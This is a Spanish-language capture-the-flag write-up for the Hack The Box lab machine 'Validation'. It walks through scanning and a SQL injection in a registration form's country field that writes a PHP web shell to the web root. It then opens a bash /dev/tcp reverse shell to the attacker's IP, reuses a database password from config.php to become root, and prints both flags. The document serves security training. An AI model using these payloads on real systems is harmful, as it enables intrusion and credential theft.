Validation [EASY🟢]

Dificultad: Fácil

1- Reconocimiento y escaneo

1.1 Ping

PING 10.10.11.116 (10.10.11.116) 56(84) bytes of data.
64 bytes from 10.10.11.116: icmp_seq=1 ttl=63 time=181 ms

--- 10.10.11.116 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 181.069/181.069/181.069/0.000 ms

Podemos notar que se trata de una maquina Linux, debido al TTL:

TTL <= 64 >>(Linux)
TTL <= 128 >> (Windows)

1.2 Nmap

┌──(root㉿t0mz)-[/home/kali/ctf/validation]
└─# nmap -sS -sV -sC -p- -open --min-rate 5000 -Pn -vvv 10.10.11.116 -oN escaneo.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-01 01:44 -03
NSE: Loaded 157 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 01:44
Completed NSE at 01:44, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 01:44
Completed NSE at 01:44, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 01:44
Completed NSE at 01:44, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 01:44
Completed Parallel DNS resolution of 1 host. at 01:44, 0.02s elapsed
DNS resolution of 1 IPs took 0.02s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 01:44
Scanning 10.10.11.116 [65535 ports]
Discovered open port 22/tcp on 10.10.11.116
Discovered open port 80/tcp on 10.10.11.116
Discovered open port 8080/tcp on 10.10.11.116
Discovered open port 4566/tcp on 10.10.11.116
Completed SYN Stealth Scan at 01:44, 14.50s elapsed (65535 total ports)
Initiating Service scan at 01:44
Scanning 4 services on 10.10.11.116
Completed Service scan at 01:44, 11.53s elapsed (4 services on 1 host)
NSE: Script scanning 10.10.11.116.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 01:44
Completed NSE at 01:44, 5.62s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 01:44
Completed NSE at 01:44, 0.71s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 01:44
Completed NSE at 01:44, 0.01s elapsed
Nmap scan report for 10.10.11.116
Host is up, received user-set (0.17s latency).
Scanned at 2025-03-01 01:44:17 -03 for 32s
Not shown: 65522 closed tcp ports (reset), 9 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d8:f5:ef:d2:d3:f9:8d:ad:c6:cf:24:85:94:26:ef:7a (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCgSpafkjRVogAlgtxt6cFN7sU4sRTiGYC01QloBpbOwerqFUoYNyhCdNP/9rvdhwFpXomoMhDxioWQZb1RTSbR5aCwkzwDRnLz5PKN/7faaoEVjFM1vSnjGwWxzPZJw4Xy8wEbvMDlNZQbWu44UMWhLH+Vp63egRsut0SkTpUy3Ovp/yb3uAeT/4sUPG+LvDgzXD2QY+O1SV0Y3pE+pRmL3UfRKr2ltMfpcc7y7423+3oRSONHfy1upVUcUZkRIKrl9Qb4CDpxbVi/hYfAFQcOYH+IawAounkeiTMMEtOYbzDysEzVrFcCiGPWOX5+7tu4H7jYnZiel39ka/TFODVA+m2ZJiz2NoKLKTVhouVAGkH7adYtotM62JEtow8MW0HCZ9+cX6ki5cFK9WQhN++KZej2fEZDkxV7913KaIa4HCbiDq1Sfr5j7tFAWnNDo097UHXgN5A0mL1zNqwfTBCHQTEga/ztpDE0pmTKS4rkBne9EDn6GpVhSuabX9S/BLk=
|   256 46:3d:6b:cb:a8:19:eb:6a:d0:68:86:94:86:73:e1:72 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ9LolyD5tnJ06EqjRR6bFX/7oOoTeFPw2TKsP1KCHJcsPSVfZIafOYEsWkaq67dsCvOdIZ8VQiNAKfnGiaBLOo=
|   256 70:32:d7:e3:77:c1:4a:cf:47:2a:de:e5:08:7a:f8:7a (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJOP8cvEQVqCwuWYT06t/DEGxy6sNajp7CzuvfJzrCRZ
80/tcp   open  http    syn-ack ttl 62 Apache httpd 2.4.48 ((Debian))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.48 (Debian)
4566/tcp open  http    syn-ack ttl 63 nginx
|_http-title: 403 Forbidden
8080/tcp open  http    syn-ack ttl 63 nginx
|_http-title: 502 Bad Gateway
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 01:44
Completed NSE at 01:44, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 01:44
Completed NSE at 01:44, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 01:44
Completed NSE at 01:44, 0.00s elapsed
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.33 seconds
           Raw packets sent: 70852 (3.117MB) | Rcvd: 70882 (2.836MB)

Tenemos el puerto 22 correspondiente a un servidor SSH(OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)), el puerto 80 correspondiente a un servidor web(Apache httpd 2.4.48 ((Debian))) y los puertos 4566 y 8080 correspondientes a nginx

1.3 whatweb

http://10.10.11.116 [200 OK] Apache[2.4.48], Bootstrap, Country[RESERVED][ZZ], HTTPServer[Debian Linux][Apache/2.4.48 (Debian)], IP[10.10.11.116], JQuery, PHP[7.4.23], Script, X-Powered-By[PHP/7.4.23]

Vemos tecnologías como:

Apache 2.4.48
Boostrap
JQuery
PHP 7.4.23

1.4 Revisión del código fuente

Vamos a revisar el código fuente de la pagina web alojada en el puerto 80(Apache httpd 2.4.48):

CTRL + U:

<link href="css/bootstrap.min.css" rel="stylesheet" id="bootstrap-css">
<script src="js/bootstrap.min.js"></script>
<script src="js/jquery.min.js"></script>
<!------ Include the above in your HEAD tag ---------->
<div >
    <div class="container">
		<h1 class="text-center m-5">Join the UHC - September Qualifiers</h1>
		
	</div>
	<section class="bg-dark text-center p-5 mt-4">
		<div class="container p-3">
			<h3 class="text-white">Register Now</h3>
			<form action="#" method="Post">
				<input type="text" name="username" placeholder="Username">
                <select id="country" name="country">
                 <option value="Brazil">Brazil</option>
                 <option value="Afganistan">Afghanistan</option>
                 <option value="Albania">Albania</option>
                 <option value="Algeria">Algeria</option>
                 <option value="American Samoa">American Samoa</option>
                 <option value="Andorra">Andorra</option>
                 <option value="Angola">Angola</option>
                 <option value="Anguilla">Anguilla</option>
                 <option value="Antigua & Barbuda">Antigua & Barbuda</option>
                 <option value="Argentina">Argentina</option>
                 <option value="Armenia">Armenia</option>
                 <option value="Aruba">Aruba</option>
                 <option value="Australia">Australia</option>
                 <option value="Austria">Austria</option>
                 <option value="Azerbaijan">Azerbaijan</option>
                 <option value="Bahamas">Bahamas</option>
                 <option value="Bahrain">Bahrain</option>
                 <option value="Bangladesh">Bangladesh</option>
                 <option value="Barbados">Barbados</option>
                 <option value="Belarus">Belarus</option>
                 <option value="Belgium">Belgium</option>
                 <option value="Belize">Belize</option>
                 <option value="Benin">Benin</option>
                 <option value="Bermuda">Bermuda</option>
                 <option value="Bhutan">Bhutan</option>
                 <option value="Bolivia">Bolivia</option>
                 <option value="Bonaire">Bonaire</option>
                 <option value="Bosnia & Herzegovina">Bosnia & Herzegovina</option>
                 <option value="Botswana">Botswana</option>
                 <option value="British Indian Ocean Ter">British Indian Ocean Ter</option>
                 <option value="Brunei">Brunei</option>
                 <option value="Bulgaria">Bulgaria</option>
                 <option value="Burkina Faso">Burkina Faso</option>
                 <option value="Burundi">Burundi</option>
                 <option value="Cambodia">Cambodia</option>
                 <option value="Cameroon">Cameroon</option>
                 <option value="Canada">Canada</option>
                 <option value="Canary Islands">Canary Islands</option>
                 <option value="Cape Verde">Cape Verde</option>
                 <option value="Cayman Islands">Cayman Islands</option>
                 <option value="Central African Republic">Central African Republic</option>
                 <option value="Chad">Chad</option>
                 <option value="Channel Islands">Channel Islands</option>
                 <option value="Chile">Chile</option>
                 <option value="China">China</option>
                 <option value="Christmas Island">Christmas Island</option>
                 <option value="Cocos Island">Cocos Island</option>
                 <option value="Colombia">Colombia</option>
                 <option value="Comoros">Comoros</option>
                 <option value="Congo">Congo</option>
                 <option value="Cook Islands">Cook Islands</option>
                 <option value="Costa Rica">Costa Rica</option>
                 <option value="Cote DIvoire">Cote DIvoire</option>
                 <option value="Croatia">Croatia</option>
                 <option value="Cuba">Cuba</option>
                 <option value="Curaco">Curacao</option>
                 <option value="Cyprus">Cyprus</option>
                 <option value="Czech Republic">Czech Republic</option>
                 <option value="Denmark">Denmark</option>
                 <option value="Djibouti">Djibouti</option>
                 <option value="Dominica">Dominica</option>
                 <option value="Dominican Republic">Dominican Republic</option>
                 <option value="East Timor">East Timor</option>
                 <option value="Ecuador">Ecuador</option>
                 <option value="Egypt">Egypt</option>
                 <option value="El Salvador">El Salvador</option>
                 <option value="Equatorial Guinea">Equatorial Guinea</option>
                 <option value="Eritrea">Eritrea</option>
                 <option value="Estonia">Estonia</option>
                 <option value="Ethiopia">Ethiopia</option>
                 <option value="Falkland Islands">Falkland Islands</option>
                 <option value="Faroe Islands">Faroe Islands</option>
                 <option value="Fiji">Fiji</option>
                 <option value="Finland">Finland</option>
                 <option value="France">France</option>
                 <option value="French Guiana">French Guiana</option>
                 <option value="French Polynesia">French Polynesia</option>
                 <option value="French Southern Ter">French Southern Ter</option>
                 <option value="Gabon">Gabon</option>
                 <option value="Gambia">Gambia</option>
                 <option value="Georgia">Georgia</option>
                 <option value="Germany">Germany</option>
                 <option value="Ghana">Ghana</option>
                 <option value="Gibraltar">Gibraltar</option>
                 <option value="Great Britain">Great Britain</option>
                 <option value="Greece">Greece</option>
                 <option value="Greenland">Greenland</option>
                 <option value="Grenada">Grenada</option>
                 <option value="Guadeloupe">Guadeloupe</option>
                 <option value="Guam">Guam</option>
                 <option value="Guatemala">Guatemala</option>
                 <option value="Guinea">Guinea</option>
                 <option value="Guyana">Guyana</option>
                 <option value="Haiti">Haiti</option>
                 <option value="Hawaii">Hawaii</option>
                 <option value="Honduras">Honduras</option>
                 <option value="Hong Kong">Hong Kong</option>
                 <option value="Hungary">Hungary</option>
                 <option value="Iceland">Iceland</option>
                 <option value="Indonesia">Indonesia</option>
                 <option value="India">India</option>
                 <option value="Iran">Iran</option>
                 <option value="Iraq">Iraq</option>
                 <option value="Ireland">Ireland</option>
                 <option value="Isle of Man">Isle of Man</option>
                 <option value="Israel">Israel</option>
                 <option value="Italy">Italy</option>
                 <option value="Jamaica">Jamaica</option>
                 <option value="Japan">Japan</option>
                 <option value="Jordan">Jordan</option>
                 <option value="Kazakhstan">Kazakhstan</option>
                 <option value="Kenya">Kenya</option>
                 <option value="Kiribati">Kiribati</option>
                 <option value="Korea North">Korea North</option>
                 <option value="Korea Sout">Korea South</option>
                 <option value="Kuwait">Kuwait</option>
                 <option value="Kyrgyzstan">Kyrgyzstan</option>
                 <option value="Laos">Laos</option>
                 <option value="Latvia">Latvia</option>
                 <option value="Lebanon">Lebanon</option>
                 <option value="Lesotho">Lesotho</option>
                 <option value="Liberia">Liberia</option>
                 <option value="Libya">Libya</option>
                 <option value="Liechtenstein">Liechtenstein</option>
                 <option value="Lithuania">Lithuania</option>
                 <option value="Luxembourg">Luxembourg</option>
                 <option value="Macau">Macau</option>
                 <option value="Macedonia">Macedonia</option>
                 <option value="Madagascar">Madagascar</option>
                 <option value="Malaysia">Malaysia</option>
                 <option value="Malawi">Malawi</option>
                 <option value="Maldives">Maldives</option>
                 <option value="Mali">Mali</option>
                 <option value="Malta">Malta</option>
                 <option value="Marshall Islands">Marshall Islands</option>
                 <option value="Martinique">Martinique</option>
                 <option value="Mauritania">Mauritania</option>
                 <option value="Mauritius">Mauritius</option>
                 <option value="Mayotte">Mayotte</option>
                 <option value="Mexico">Mexico</option>
                 <option value="Midway Islands">Midway Islands</option>
                 <option value="Moldova">Moldova</option>
                 <option value="Monaco">Monaco</option>
                 <option value="Mongolia">Mongolia</option>
                 <option value="Montserrat">Montserrat</option>
                 <option value="Morocco">Morocco</option>
                 <option value="Mozambique">Mozambique</option>
                 <option value="Myanmar">Myanmar</option>
                 <option value="Nambia">Nambia</option>
                 <option value="Nauru">Nauru</option>
                 <option value="Nepal">Nepal</option>
                 <option value="Netherland Antilles">Netherland Antilles</option>
                 <option value="Netherlands">Netherlands (Holland, Europe)</option>
                 <option value="Nevis">Nevis</option>
                 <option value="New Caledonia">New Caledonia</option>
                 <option value="New Zealand">New Zealand</option>
                 <option value="Nicaragua">Nicaragua</option>
                 <option value="Niger">Niger</option>
                 <option value="Nigeria">Nigeria</option>
                 <option value="Niue">Niue</option>
                 <option value="Norfolk Island">Norfolk Island</option>
                 <option value="Norway">Norway</option>
                 <option value="Oman">Oman</option>
                 <option value="Pakistan">Pakistan</option>
                 <option value="Palau Island">Palau Island</option>
                 <option value="Palestine">Palestine</option>
                 <option value="Panama">Panama</option>
                 <option value="Papua New Guinea">Papua New Guinea</option>
                 <option value="Paraguay">Paraguay</option>
                 <option value="Peru">Peru</option>
                 <option value="Phillipines">Philippines</option>
                 <option value="Pitcairn Island">Pitcairn Island</option>
                 <option value="Poland">Poland</option>
                 <option value="Portugal">Portugal</option>
                 <option value="Puerto Rico">Puerto Rico</option>
                 <option value="Qatar">Qatar</option>
                 <option value="Republic of Montenegro">Republic of Montenegro</option>
                 <option value="Republic of Serbia">Republic of Serbia</option>
                 <option value="Reunion">Reunion</option>
                 <option value="Romania">Romania</option>
                 <option value="Russia">Russia</option>
                 <option value="Rwanda">Rwanda</option>
                 <option value="St Barthelemy">St Barthelemy</option>
                 <option value="St Eustatius">St Eustatius</option>
                 <option value="St Helena">St Helena</option>
                 <option value="St Kitts-Nevis">St Kitts-Nevis</option>
                 <option value="St Lucia">St Lucia</option>
                 <option value="St Maarten">St Maarten</option>
                 <option value="St Pierre & Miquelon">St Pierre & Miquelon</option>
                 <option value="St Vincent & Grenadines">St Vincent & Grenadines</option>
                 <option value="Saipan">Saipan</option>
                 <option value="Samoa">Samoa</option>
                 <option value="Samoa American">Samoa American</option>
                 <option value="San Marino">San Marino</option>
                 <option value="Sao Tome & Principe">Sao Tome & Principe</option>
                 <option value="Saudi Arabia">Saudi Arabia</option>
                 <option value="Senegal">Senegal</option>
                 <option value="Seychelles">Seychelles</option>
                 <option value="Sierra Leone">Sierra Leone</option>
                 <option value="Singapore">Singapore</option>
                 <option value="Slovakia">Slovakia</option>
                 <option value="Slovenia">Slovenia</option>
                 <option value="Solomon Islands">Solomon Islands</option>
                 <option value="Somalia">Somalia</option>
                 <option value="South Africa">South Africa</option>
                 <option value="Spain">Spain</option>
                 <option value="Sri Lanka">Sri Lanka</option>
                 <option value="Sudan">Sudan</option>
                 <option value="Suriname">Suriname</option>
                 <option value="Swaziland">Swaziland</option>
                 <option value="Sweden">Sweden</option>
                 <option value="Switzerland">Switzerland</option>
                 <option value="Syria">Syria</option>
                 <option value="Tahiti">Tahiti</option>
                 <option value="Taiwan">Taiwan</option>
                 <option value="Tajikistan">Tajikistan</option>
                 <option value="Tanzania">Tanzania</option>
                 <option value="Thailand">Thailand</option>
                 <option value="Togo">Togo</option>
                 <option value="Tokelau">Tokelau</option>
                 <option value="Tonga">Tonga</option>
                 <option value="Trinidad & Tobago">Trinidad & Tobago</option>
                 <option value="Tunisia">Tunisia</option>
                 <option value="Turkey">Turkey</option>
                 <option value="Turkmenistan">Turkmenistan</option>
                 <option value="Turks & Caicos Is">Turks & Caicos Is</option>
                 <option value="Tuvalu">Tuvalu</option>
                 <option value="Uganda">Uganda</option>
                 <option value="United Kingdom">United Kingdom</option>
                 <option value="Ukraine">Ukraine</option>
                 <option value="United Arab Erimates">United Arab Emirates</option>
                 <option value="United States of America">United States of America</option>
                 <option value="Uraguay">Uruguay</option>
                 <option value="Uzbekistan">Uzbekistan</option>
                 <option value="Vanuatu">Vanuatu</option>
                 <option value="Vatican City State">Vatican City State</option>
                 <option value="Venezuela">Venezuela</option>
                 <option value="Vietnam">Vietnam</option>
                 <option value="Virgin Islands (Brit)">Virgin Islands (Brit)</option>
                 <option value="Virgin Islands (USA)">Virgin Islands (USA)</option>
                 <option value="Wake Island">Wake Island</option>
                 <option value="Wallis & Futana Is">Wallis & Futana Is</option>
                 <option value="Yemen">Yemen</option>
                 <option value="Zaire">Zaire</option>
                 <option value="Zambia">Zambia</option>
                 <option value="Zimbabwe">Zimbabwe</option>
              </select>
				<button type="submit" class="btn btn-default">Join Now<i class="fa fa-envelope"></i></button>
			</form>
		</div>
	</section>
</div>

Dentro del codigo fuente no encontramos nada interesante

1.5 Fuzzing

En este caso el Fuzzing lo vamos a realizar con la herramienta "wfuzz":

wfuzz -c --hc 404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.11.116/FUZZ

Ejecutamos:

┌──(root㉿t0mz)-[/home/kali/ctf/validation]
└─# wfuzz -c --hc 404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.11.116/FUZZ
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.11.116/FUZZ
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                     
=====================================================================

000000003:   200        268 L    747 W      16088 Ch    "# Copyright 2007 James Fisher"             
000000007:   200        268 L    747 W      16088 Ch    "# license, visit http://creativecommons.org
                                                        /licenses/by-sa/3.0/"                       
000000013:   200        268 L    747 W      16088 Ch    "#"                                         
000000012:   200        268 L    747 W      16088 Ch    "# on atleast 2 different hosts"            
000000001:   200        268 L    747 W      16088 Ch    "# directory-list-2.3-medium.txt"           
000000010:   200        268 L    747 W      16088 Ch    "#"                                         
000000014:   200        268 L    747 W      16088 Ch    "http://10.10.11.116/"                      
000000011:   200        268 L    747 W      16088 Ch    "# Priority ordered case sensative list, whe
                                                        re entries were found"                      
000000009:   200        268 L    747 W      16088 Ch    "# Suite 300, San Francisco, California, 941
                                                        05, USA."                                   
000000006:   200        268 L    747 W      16088 Ch    "# Attribution-Share Alike 3.0 License. To v
                                                        iew a copy of this"                         
000000008:   200        268 L    747 W      16088 Ch    "# or send a letter to Creative Commons, 171
                                                         Second Street,"                            
000000004:   200        268 L    747 W      16088 Ch    "#"                                         
000000005:   200        268 L    747 W      16088 Ch    "# This work is licensed under the Creative 
                                                        Commons"                                    
000000002:   200        268 L    747 W      16088 Ch    "#"                                         
000000550:   301        9 L      28 W       310 Ch      "css"                                       
000000953:   301        9 L      28 W       309 Ch      "js"                                        
000045240:   200        268 L    747 W      16088 Ch    "http://10.10.11.116/"                      
000095524:   403        9 L      28 W       277 Ch      "server-status"                             

Total time: 0
Processed Requests: 220560
Filtered Requests: 220542
Requests/sec.: 0

2- Explotación

2.1 Inyección SQL vía BurpSuite

Vamos a irnos a la pagina web alojada en el puerto 80 y vamos a ingresar un usuario:

"Join now":

Ahora vamos a ingresar otro usuario mas, en mi caso "test2":

Luego de realizar una investigación, parece que dentro del formulario de "Username", no se acontece una Inyección SQL, pero... vamos a ver si se acontece utilizando Burp Suite

Vamos a abrir Burp Suite y nos vamos a ir a la pestaña de "Proxy":

Vamos a ir a la configuración del proxy de Burp, en la subpestaña de "Proxy settings":

Vemos que el proxy, esta configurado con la IP 127.0.0.1 por el puerto 8080, sabiendo esto, vamos a ir a Firefox en nuestro Kali, y nos vamos a ir a ajustes del navegador o settings:

En el cuadro de busqueda de opciones, vamos a buscar la palabra clave "network"

Vamos a abrir la configuración de red, con el boton "Settings"

Vamos a darla a "Manual proxy configuration" y lo configuraremos con la IP y puerto correspondiente del proxy de Burp, en este caso la IP "127.0.0.1" y el puerto "8080"

Vamos a aceptar con el boton "Ok", este paso no necesariamente tiene por que ser así, podemos configurar el proxy de Burp con la extensión de Foxy Proxy

Abrimos Burp Suite de nuevo y nos ponemos en modo intercepción:

Volvemos al formulario de "Username" y vamos a registrar un usuario nuevo, en mi caso "test3":

Se va a quedar cargando el sitio web, pero si vamos a Burp Suite, el proxy nos habrá interceptado la solicitud:

POST / HTTP/1.1

Host: 10.10.11.116

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Content-Type: application/x-www-form-urlencoded

Content-Length: 30

Origin: http://10.10.11.116

Connection: keep-alive

Referer: http://10.10.11.116/

Cookie: user=ad0234829205b9033196ba818f7a872b

Upgrade-Insecure-Requests: 1

Priority: u=0, i





username=test2&country=Armenia

Como pudimos ver anteriormente, dentro del formulario de "Username" no se acontece la Inyección SQL, por lo que vamos a probarlo dentro del paramtro "country="

En mi caso utilzare el siguiente codigo SQL para listar las bases de datos que se encuentran dentro de este sitio web:

' UNION SELECT database()-- -

De tal manera que la solicitud quedaria de la siguiente forma:

POST / HTTP/1.1

Host: 10.10.11.116

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Content-Type: application/x-www-form-urlencoded

Content-Length: 30

Origin: http://10.10.11.116

Connection: keep-alive

Referer: http://10.10.11.116/

Cookie: user=ad0234829205b9033196ba818f7a872b

Upgrade-Insecure-Requests: 1

Priority: u=0, i





username=test2&country=Armenia' UNION SELECT database()-- -

Vamos a darle en Forward a Burp Suite 2 veces:

Y volvemos al sitio web:

Podemos ver que nos registro con el nombre que anteriormente habíamos ingresado "test2", y además esta el primer usuario que registramos "test1" y el nombre de la base de datos que esta corriendo por detrás este sitio web, por lo que verificamos que este sitio web es vulnerable a inyecciones SQL

2.2 Archivo PHP malcioso con inyección SQL

Si recordamos en el escaneo que realizamos de tecnologias web que utilizaba este sitio web, utiliza PHP, por lo que podríamos crear un archivo .PHP malicioso para obtener una reverse shell y subirlo mediante instrucciones SQL al servidor web

Ahora, dicho esto, vamos a volver para atras y vamos a registrar un nuevo usuario, en mi caso "revshell" para que la solicitud enviada al servidor pase por el proxy de Burp Suite:

Vamos a inyectar el siguiente codigo SQL:

' union select "<?php system($_REQUEST['cmd']); ?>" into outfile "/var/www/html/revshell.php"-- -

Lo que estamos haciendo con este codigo SQL, es alterar la consulta a la base de datos diciendole que queremos crear un archivo .PHP llamado "revshelll.php" que contenga el siguiente codigo PHP:

<?php
    system($REQUEST['cmd']); 
?>

Y este archivo "revshell.php" se va a almacenar dentro del dirctorio "/var/www/html/", mismo directorio donde se almacenan generalmente las aplicaciones web o sitios web dentro de GNU/Linux

La solicitud quedaria de tal manera:

POST / HTTP/1.1
Host: 10.10.11.116
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Origin: http://10.10.11.116
Connection: keep-alive
Referer: http://10.10.11.116/
Cookie: user=ad0234829205b9033196ba818f7a872b
Upgrade-Insecure-Requests: 1
Priority: u=0, i



username=revshell&country=Armenia' union select "<?php system($_REQUEST['cmd']); ?>" into outfile "/var/www/html/revshell.php"-- -

Vamos a darle en Forward 2 veces dentro de Burp Suite como realizamos anteriormente, para que la solicitud llegue a la maquina objetivo de Hack The Box y vamos a volver al sitio web:

Nos dio un error, pero si accedemos a la siguiente URL especificándole el nombre del archivo malicioso que acabamos de subir llamado "revshell.php" y el parámetro "?cmd=" con el comando "whoami" de Linux:

http://10.10.11.116/revshell.php?cmd=whoami

2.3 Reverse shell con el archivo PHP malcioso subido

Ahora vamos a obtener una reverse shell, por el puerto 443, asi que vamos a ponernos en escucha con netcat:

┌──(root㉿t0mz)-[/home/kali/ctf/validation]
└─# nc -nlvp 443                                                                    
listening on [any] 443 ...

Y para obtener la reverse shell en una consola de Kali, es necesario pasarle un comando como parametro "?cmd=" del archivo malicioso "revshell.php" que subimos anteriormente, en mi caso utilizare el siguiente comando:

bash -c 'bash -i >& /dev/tcp/{IP VPN HTB}/443 0>&1'

Y para introducirlo en la URL, es necesario encodearlo en formato URL, para eso utilizamos Burp Suite, concretamente la pestaña "Decoder":

De tal manera que en mi caso el comando que le vamos a pasar al parametro en mi caso quedaria de la siguiente manera:

%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%31%30%2e%31%34%2e%31%32%2f%34%34%33%20%30%3e%26%31%27

Y la URL completa, de la siguiente manera:

10.10.11.116/revshell.php?cmd=%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%31%30%2e%31%34%2e%31%32%2f%34%34%33%20%30%3e%26%31%27

Ingresamos el parámetro dentro de Firefox en el sitio web:

Quedara cargando, pero si vamos a la consola donde teníamos netcat en escucha por el puerto 443:

┌──(root㉿t0mz)-[/home/kali/ctf/validation]
└─# nc -nlvp 443                                                                    
listening on [any] 443 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.116] 55360
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@validation:/var/www/html$ 

2.4 Obtención de la flag de user

La flag de usuario se encuentra dentro de la ruta absoluta "/home/htb/user.txt", vamos a visualizar la flag con "cat"

www-data@validation:/var/www/html$ cat /home/htb/user.txt
cat /home/htb/user.txt
7c51161d38e0a954c012ddcd0cb7f453
www-data@validation:/var/www/html$ 

3- Escalado de privilegios

3.1 config.php

Si vamos a la ruta "/var/www/html" nos encontraremos con un archivo llamado "config.php":

www-data@validation:/var/www/html$ cd /var/www/html
cd /var/www/html
www-data@validation:/var/www/html$ ls
ls
account.php
config.php
css
index.php
js
pwnedd.php
www-data@validation:/var/www/html$ 

Los archivos de configuración de una aplicación web, CMS o sitio web, por lo general suelen contener credenciales, asi que vamos a visualizar este archivo:

www-data@validation:/var/www/html$ cat config.php
cat config.php
<?php
  $servername = "127.0.0.1";
  $username = "uhc";
  $password = "uhc-9qual-global-pw";
  $dbname = "registration";

  $conn = new mysqli($servername, $username, $password, $dbname);
?>
www-data@validation:/var/www/html$ 

Vemos que contiene unas credenciales:

  $username = "uhc";
  $password = "uhc-9qual-global-pw";
  $dbname = "registration";

Investigando un poco, me di cuenta que a veces las credenciales de por si mismas de por ejemplo, una base de datos, a veces suele ser la misma que la de otros usuarios dentro de GNU/Linux, por una mala configuración o desconocimiento del usuario, asi que probemos logearnos con el usuario "root" con la password "uhc-9qual-global-pw", para eso vamos a utilizar el comando "su -":

www-data@validation:/var/www/html$ su -
su -
Password: uhc-9qual-global-pw
whoami
root

Podemos ver que es la password correcta, ahora vamos a obtener un prompt correcto para no tener errores a la hora de tipear o buscar la flag de root, para eso utilizamos el comando "script /dev/null -c bash":

Password: uhc-9qual-global-pw
whoami
root
script /dev/null -c bash
Script started, output log file is '/dev/null'.
root@validation:~# 

3.2 Obtención de la flag root

La flag de usuario se encuentra dentro de la ruta absoluta "/root/root.txt", vamos a visualizar la flag con "cat":

root@validation:~# cat /root/root.txt
cat /root/root.txt
96a52a53d5ce94ebedf2ef4f98f52629
root@validation:~# 

Con esto, concluimos la maquina "Validation" de Hack The Box

Espero te haya sido de ayuda este Write Up :)

Si tuviste alguna dificultad a la hora de resolverlo, no olvides contactarme en mis redes sociales

Última actualización